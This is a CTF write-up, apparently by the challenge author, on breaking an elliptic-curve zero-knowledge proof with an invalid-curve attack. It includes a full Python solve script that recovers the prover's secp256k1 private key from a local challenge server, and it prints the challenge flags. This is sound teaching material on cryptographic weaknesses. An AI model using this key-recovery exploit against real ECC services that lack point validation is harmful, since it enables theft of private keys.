k >>= 1
return result
def deserialize_point(s):
if s == "Point(infinity)":
return Point(None, None)
else:
pattern = r"Point\(\d+, \d+\)"
match = re.match(pattern, s)
if not match:
raise ValueError(f"Invalid point format: {s}")
arr = s[6:-1].split(", ")
return Point(int(arr[0]), int(arr[1]))
```
### Code Analysis
This challenge is a challenge on Elliptic Curve Cryptography (ECC) and Zero-Knowledge Proofs (ZKP). Let's have a look at the provided code.
`SquigglyStuff.py` contains the implementation of Elliptic Curve (Squiggle) and Point.
There shouldn't be any issues with the implementation there. If yes, then congratulations for finding an unintended bug.
The main code is in `chal.py`, which implements a ZKP protocol to prove the knowledge of the discrete logarithm of a point on the elliptic curve.
The protocol is as follows:
The prover and verifier both know the elliptic curve parameters (secp256k1), the base point $G$, and a public point $Q = dG$. The prover knows the private key $d$ and would like to prove this knowledge to the verifier without revealing $d$.
1. The verifier chooses a random point $P$ on the curve and a random integer $k$.
2. The verifier computes $C_1 = kG$ and $C_2 = P + kQ$.
3. The verifier sends $C_1$ and $C_2$ to the prover.
4. The prover computes $C_2 - dC_1$ and sends the result back to the verifier.
5. The verifier checks if the result equals $P$.
6. Repeat the above steps multiple times to reduce the probability of cheating (10 times in the code).
Step 4 and 5 works since $C_2 - dC_1 = P + kQ - d(kG) = P + k(dG) - d(kG) = P$.
Suppose everything works correctly, the prover can convince the verifier that they know $d$ without revealing it since this protocol works similarly as El Gamal encryption. The verifier cannot derive $d$ from the information given by the prover since the verifier should receive $P$, which is generated by the verifier itself.
Now, as a malicious verifier, we want to get $d$ from the prover. From the protocol, we can get $C_2 - dC_1$ given arbitrary $C_1$ and $C_2$.
Using this, if we want to find $dP$ for an arbitrary point $P$, we can set $C_1 = -P$ and $C_2 = O$, then the prover will tell us $O - d(-P) = dP$. So we can query $dP$ for any point $P$ 10 times. But using this only, it is not sufficient for us to find $d$ within the 30 seconds time limit.
### Attack
The main vulnerability in the code is that it does not verify if the input points $C_1$ and $C_2$ are valid points on the curve. This allows us to use invalid curve attacks to get $d$.
Notice that the point addition and multiplication functions does not depend on the value of $b$. If the input points are not validated, we can use points on other curves (such as $y^2 = x^3 + 8$) to get $d$ modulo the order of that curve. We can choose some good points and carry out (slightly-modified) Pohlig-Hellman attack. We can choose 10 different points with different orders to get $d$ modulo the order of those points. Then we can use CRT to get $d$.
We can group some small primes together to reduce the number of queries. If the number of queries is still not enough, we can also use $Q = dG$ as one of the points to get $d$.
We know that $d = q m + r$ where $r, m$ are the residue and modulo after CRT. Considering that $m$ is already quite large, so $q$ will be small enough to carry out another baby-step-giant-step attack.
$$Q = d G = (km + r) G$$ $$Q - rG = q(mG)$$ for some small $q$.
After finding $k$, you can directly know the value of $d$ and the ZKP part 2 can be easily fulfilled.
There is a slight probability that the emoticons in the code may interfere with the IO, so be careful when implementing the exploit :>
### Solve script
```python=
from pwn import *
from SquigglyStuff import Squiggle, Point, deserialize_point
# from tqdm import tqdm
# Precompute some useful results (you can use sage to do this)
p = 2**256 - 2**32 - 2**9 - 2**8 - 2**7 - 2**6 - 2**4 - 1
a = 0
# b is variable...
# F = GF(p)
# E = EllipticCurve(F, [a, b])
# G = E(x, y)
# factor(G.order()) # Factorize the order of the point G, which is also a factor of the order of the curve
# def exploit(x, y):
# b = (y^2 - x^3) % p
# if b == 0:
# return
# E = EllipticCurve(F, [0, b])
# G = E(x, y)
# order = G.order()
# print(b, order, factor(order), (x, y))
# The equation of the curve is y^2 = x^3 + b since a = 0
# We just need to find some good b values
exploitation_list = [
# (order, factors, Generator)
(115792089237316195423570985008687907853031073199722524052490918277602762621571, [109903, 12977017, 383229727], Point(1, 2)),
(57896044618658097711785492504343953926299326406578432197819248705606044722122, [2 * 20412485227], Point(1, 3)),
(38597363079105398474523661669562635951234135017402074565436668291433169282997, [3 * 13 * 13 * 3319, 22639], Point(1, 4)),
(38597363079105398474523661669562635951169632043852868008808083246071635573919, [199 * 18979], Point(2, 34)),
(4135431758475578407984678036024568137640761304218723702974166807307342139253, [7 * 10903, 5290657, 10833080827], Point(1, 7)),
]
target = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
E = Squiggle(a, 7, p)
Generator = Point(
0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8,
)
HOST = "localhost"
PORT = 3000
# context.log_level = 'debug'
with remote(HOST, PORT) as io:
information = []
io.recvuntil(b"Q: ")
Q = deserialize_point(io.recvline().strip().decode())
log.info(f"Q = dG = {Q}")
def bsgs(P, G, order):
log.info(f"Using BSGS to solve for P = kG, P = {P}, G = {G}, k < {order}")
sqrt_order = int(order**0.5) + 1
neg_G = E.negate(G)
table = dict()
for i in range(sqrt_order):
table[P] = i
P = E.add(P, neg_G)
larger_G = E.mul(sqrt_order, G)
Acc = Point(None, None)
for j in range(sqrt_order):
if Acc in table:
return (j * sqrt_order + table[Acc]) % order
Acc = E.add(Acc, larger_G)
log.error("No solution found when running BSGS")
return None
def exploit(order, factor, G):
if E.mul(order // factor, G) == Point(None, None):
return None
io.recvuntil(b"> ")
io.sendline(b"n")
io.sendlineafter(b"C1: ", str(E.mul(order // factor, E.negate(G))).encode())
io.sendlineafter(b"C2: ", str(Point(None, None)).encode())
io.recvuntil(b"The thing you need is ")
P = deserialize_point(io.recvline().strip().decode()) # P = -d * C1 = d * G
# print("Received P:", P, flush=True)
residue = bsgs(P, E.mul(order // factor, G), factor)
return (residue, factor) # d % factor = residue
for order, factors, G in exploitation_list:
for factor in factors:
result = exploit(order, factor, G)
if result is not None:
information.append(result)
log.info(f"Found: d mod {factor} = {result[0]}")
def crt(information):
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return gcd, x, y
def mod_inverse(a, m):
gcd, x, _ = extended_gcd(a, m)
if gcd != 1:
raise ValueError("Inverse doesn't exist")
return x % m
def combine(a1, m1, a2, m2):
gcd, x, y = extended_gcd(m1, m2)
if (a1 - a2) % gcd != 0:
raise ValueError("No solution exists")
lcm = m1 * (m2 // gcd)
x = (a1 * (m2 // gcd) * mod_inverse(m2 // gcd, m1) + a2 * (m1 // gcd) * mod_inverse(m1 // gcd, m2)) % lcm
return x, lcm
a, m = information[0]
for a2, m2 in information[1:]:
a, m = combine(a, m, a2, m2)
return a, m
residue, modulo = crt(information)
log.info(f"d mod {modulo} = {residue}")
# d = q * modulo + residue
# (q * modulo + residue) * G = Q
q = bsgs(E.add(Q, E.mul(-residue, Generator)), E.mul(modulo, Generator), (target - residue) // modulo + 1)
d = q * modulo + residue
io.sendlineafter(b"Now do you trust me? OwO", b"y")
for _ in range(10):
io.recvuntil(b"C1: ")
C1 = deserialize_point(io.recvline().strip().decode())
io.recvuntil(b"C2: ")
C2 = deserialize_point(io.recvline().strip().decode())
io.sendlineafter(b"Secret: ", str(E.add(C2, E.mul(-d, C1))).encode())
print(io.recvall())
```
Flag: **`cuhk25ctf{Th3_PrOOf_1s_n0t_zero_knOwLedge_4nd_I_am_n0t_really_trus7w0rthy_UwU}`**
### PS
Ciallo~(∠・ω< )⌒★
There is a hidden (?) easter egg in the code, which is the tinyurl link to this picture.

One fun thing when I am creating this challenge is that I spent quite a lot of time looking at the deserialization function since we all know that deserialization is a common ground of vulnerability. Luckily up till now I don't see any attacks on that function.
It is also possible that $d$ can be found by finding good points on $y^2 = x^3$ and exploit the singularity of the curve. I considered this solution before the CTF starts but I still allow this solution to pass since
1. I am not entirely sure whether this attack will work before the CTF. Now from the feedbacks from solvers this seems to be a much easier solution than the Pohlig-Hellamn-like solution above.
2. Banning this solution requires more checking on the point. This leaks information about the invalid curve attack, and can somewhat be a hint to the solution.
3. Even if this solution is much simpler, the main objective of this challenge is to ~~try to make a crypto challenge that no one can solve~~ introduce the Elliptic Curve Cryptography and some related attacks. Singularity is also one of the vulnerability of ECC and exploiting this also requires the observation that invalid curve attack would work. This already satisfies my expectation towards this challenge.
4. ~~I am just too lazy.~~
Still, I made a revenge challenge after the CTF has ended as a bonus crypto challenge.
## Extra: crypto/Revenge of Trustworthy Person
> Category: Crypto
> Author: Jackylkk2003
Difficulty: 4
>
> Since the King of UwU noticed some not-so-intended solves for Trustworthy Person in CUHK CTF 2025. He decided to patch the challenge (well, after the CTF has ended...). Here it is!
>
> The challenge author, however, is too poor to properly host a CTF by himself... So here are some rules:
> - Plz really do NOT spam the challenge server... I deployed this challenge on a potato...
> - Also don't spam this Google form
> - Don't attack challenge infra...
> - The challenge resources here may leak solution to the original Trustworthy Person. SPOILER ALERT!
> - The challenge will be closed at... Too lazy to think of it now... Let me just keep it a secret and this may be closed anytime. (Maybe if someone not follow the rules then I will have to close it earlier...)
>
> Challenge description:
> Now I am extra trustworthy!!!
>
> The sha256 hash value of the flag is dcc257138a1020dc8139917fa50e20408367f74a8cce4427000d7c2b524ae6d9
> I am thinking of giving some small prizes (like, a can of drinks or something like that) for the fastest running time. No guarantee though. Guest teams can also join! Don't blame me if there is no prize at the end though.
>
> Please enter the running time exactly the same as the server output. Do not do any rounding or modification to the time you got. Verification will be done in the next question.
>
> Author's (best) running time: 11.46178388595581
>
> Final Leaderboard:
> 1. Win Or Mushroom - 6.836987733840942
> 2. Grey Bricks - 13.431616067886353
> 3. Night Heron - 16.801947832107544
> 4. What() - 20.78363585472107
>
> Plz don't spam the server for thousands of times to get a lucky short running time...
Several times is ok though...
> Challenge resources: https://github.com/Jackylkk2003/my-ctf-challenges/tree/main/others/revenge-of-trustworthy-person
> Challenge server: `nc HOST PORT`
### Solution
Just a side note, the challenge server has been shut down by the time this writeup is written.
This challenge bans the not-quite intended solution of using singular curves to break the ECDLP by imposing additional checkings.
My solution to this challenge is the same as [the writeup above](#cryptoTrustworthy-Person). So I am not repeating myself.
Flag: **`flag{U_R_N_XperT_in_da_Squiggly_Crypt0graphy!}
`**
### PS
I just put this challenge here in this writeup to keep a record of this unofficial challenge. UwU.
Well now you can also find this challenge in my Github.